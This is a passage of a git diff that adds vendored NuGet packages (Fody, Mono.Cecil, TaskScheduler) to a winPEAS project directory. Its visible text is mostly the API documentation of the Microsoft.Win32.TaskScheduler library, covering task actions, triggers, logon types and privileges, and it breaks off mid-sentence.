Binary files /dev/null and b/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/FodyHelpers.dll differ diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/FodyIsolated.dll b/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/FodyIsolated.dll new file mode 100755 index 0000000..fbf1279 Binary files /dev/null and b/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/FodyIsolated.dll differ diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Pdb.dll b/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Pdb.dll new file mode 100755 index 0000000..980d4da Binary files /dev/null and b/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Pdb.dll differ diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Pdb.pdb b/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Pdb.pdb new file mode 100755 index 0000000..c3a88f3 Binary files /dev/null and b/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Pdb.pdb differ diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Rocks.dll b/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Rocks.dll new file mode 100755 index 0000000..1355bb7 Binary files /dev/null and b/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Rocks.dll differ diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Rocks.pdb b/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Rocks.pdb new file mode 100755 index 0000000..864cdbd Binary files /dev/null and b/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Rocks.pdb differ diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.dll b/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.dll new file mode 100755 index 0000000..099fba4 Binary files /dev/null and b/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.dll differ diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.pdb b/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.pdb new file mode 100755 index 0000000..ad888f4 Binary files /dev/null and b/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.pdb differ diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Fody.dll b/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Fody.dll new file mode 100755 index 0000000..cbc88c1 Binary files /dev/null and b/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Fody.dll differ diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/FodyCommon.dll b/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/FodyCommon.dll new file mode 100755 index 0000000..909c960 Binary files /dev/null and b/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/FodyCommon.dll differ diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/FodyHelpers.dll b/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/FodyHelpers.dll new file mode 100755 index 0000000..d04ebd9 Binary files /dev/null and b/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/FodyHelpers.dll differ diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/FodyIsolated.dll b/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/FodyIsolated.dll new file mode 100755 index 0000000..c938719 Binary files /dev/null and b/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/FodyIsolated.dll differ diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Pdb.dll b/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Pdb.dll new file mode 100755 index 0000000..e81b2f8 Binary files /dev/null and b/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Pdb.dll differ diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Pdb.pdb b/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Pdb.pdb new file mode 100755 index 0000000..8347861 Binary files /dev/null and b/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Pdb.pdb differ diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Rocks.dll b/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Rocks.dll new file mode 100755 index 0000000..2b2652b Binary files /dev/null and b/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Rocks.dll differ diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Rocks.pdb b/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Rocks.pdb new file mode 100755 index 0000000..61af54c Binary files /dev/null and b/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Rocks.pdb differ diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.dll b/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.dll new file mode 100755 index 0000000..f1a5119 Binary files /dev/null and b/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.dll differ diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.pdb b/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.pdb new file mode 100755 index 0000000..b506a34 Binary files /dev/null and b/winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.pdb differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/.signature.p7s b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/.signature.p7s new file mode 100755 index 0000000..9a93df7 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/.signature.p7s differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/TaskScheduler.2.8.16.nupkg b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/TaskScheduler.2.8.16.nupkg new file mode 100755 index 0000000..db9f031 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/TaskScheduler.2.8.16.nupkg differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/Microsoft.Win32.TaskScheduler.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/Microsoft.Win32.TaskScheduler.dll new file mode 100755 index 0000000..50c5c1b Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/Microsoft.Win32.TaskScheduler.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/Microsoft.Win32.TaskScheduler.xml b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/Microsoft.Win32.TaskScheduler.xml new file mode 100755 index 0000000..6424424 --- /dev/null +++ b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,8999 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name of a document is + provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + + Abstract base class that provides the common properties that are inherited by all action + objects. An action object is created by the method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + + Occurs when a property value changes. + + + + + Gets the type of the action. + + The type of the action. + + + + Gets or sets the identifier of the action. + + + + + Creates the specified action. + + Type of the action to instantiate. + of specified type. + + + + Creates a new object that is a copy of the current instance. + + + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Releases all resources used by this class. + + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns the action Id. + + String representation of action. + + + + Returns a that represents this action. + + The culture. + String representation of action. + + + + Creates a specialized class from a defined interface. + + Version 1.0 interface. + Specialized action class + + + + Creates a specialized class from a defined interface. + + Version 2.0 Action interface. + Specialized action class + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler interface. There is a sample project that shows how to do this in the Downloads section. + + + + + Creates an unbound instance of . + + + + + Creates an unbound instance of . + + Identifier of the handler class. + Addition data associated with the handler. + + + + Gets or sets the identifier of the handler class. + + + + + Gets the name of the object referred to by . + + + + + Gets or sets additional data that is associated with the handler. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Gets the name for CLSID. + + The unique identifier. + + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that sends an e-mail. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + This action has been deprecated in Windows 8 and later. However, this library is able to mimic its functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + Creates an unbound instance of . + + + + + Creates an unbound instance of . + + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value containing a path to file. + + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + + + Gets or sets the header information in the e-mail message to send. + + + + + Gets or sets the priority of the e-mail message. + + + A that contains the priority of this message. + + + + + Gets or sets the e-mail address that you want to reply to. + + + + + Gets or sets the name of the server that you use to send e-mail from. + + + + + Gets or sets the subject of the e-mail. + + + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + Creates a new instance of an that can be added to . + + + + + Creates a new instance of an that can be added to . + + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + + + Gets or sets the path to an executable file. + + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + + Gets a string representation of the . + + String representation of this action. + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that shows a message box when a task is activated. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + This action has been deprecated in Windows 8 and later. However, this library is able to mimic its functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + Creates a new unbound instance of . + + + + + Creates a new unbound instance of . + + Message text that is displayed in the body of the message box. + Title of the message box. + + + + Gets or sets the message text that is displayed in the body of the message box. + + + + + Gets or sets the title of the message box. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Copies the properties from another the current instance. + + The source . + + + + Options for when to convert actions to PowerShell equivalents. + + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. + If not specified, only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems on or after Windows 8 / Server 2012. + + + + + Convert all actions regardless of version or operating system. + + + + + Collection that contains the actions that are performed by the task. + + + + + Gets or sets the identifier of the principal for the task. + + + + + Gets the number of actions in the collection. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + The PowerShell platform options. + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + If set to , then no actions will ever be converted to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities are found. + If set to , then actions will be converted only under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the target computer. + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems on or after Windows 8 / Server 2012. + If set to , then any actions not supported by the Task Scheduler version will be converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + + + Gets or sets a an action at the specified index. + + The zero-based index of the action to get or set. + + + + Gets or sets a specified action from the collection. + + + The . + + The id () of the action to be retrieved. + + Specialized instance. + + + + + Mismatching Id for action and lookup. + + + + Adds an action to the task. + + A type derived from . + A derived class. + The bound that was added to the collection. + + + + Adds an to the task. + + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + The bound that was added to the collection. + + + + Adds a new instance to the task. + + Type of task to be created + Specialized instance. + + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot contain null elements. + is null. + + + + Clears all actions from the task. + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Determines whether the specified action type is contained in this collection. + + Type of the action. + + true if the specified action type is contained in this collection; otherwise, false. + + + + + Copies the elements of the to an array of , starting at a particular index. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first occurrence within the entire collection. + + The delegate that defines the conditions of the to search for. + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the objects within the . + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Determines the index of a specific item in the . + + The id () of the action to be retrieved. + + The index of if found in the list; otherwise, -1. + + + + + Inserts an action at the specified index. + + The zero-based index at which action should be inserted. + The action to insert into the list. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Removes the action at a specified index. + + Index of action to remove. + Index out of range. + + + + Copies the elements of the to a new array. + + An array containing copies of the elements of the . + + + + Returns a that represents the actions in this collection. + + + A that represents the actions in this collection. + + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See details in the remarks for . + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has the Version1 flag set. + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for functionality that was + not forward-compatible. + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version2 flag set. + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive property set to true. + TaskDefinition.Settings.Volatile can be set to true. + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, see Enabled Property of + TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task Scheduler service does + not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration triggers, the task will + not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger is updated, the task + will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant cannot be combined with + the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is used, no password is + stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. The password must be + specified when a task is registered. This flag is not recommended for new tasks because it is less reliable than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this privilege. User Right: + Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege identifies its holder as a + security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be set only to those + values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase 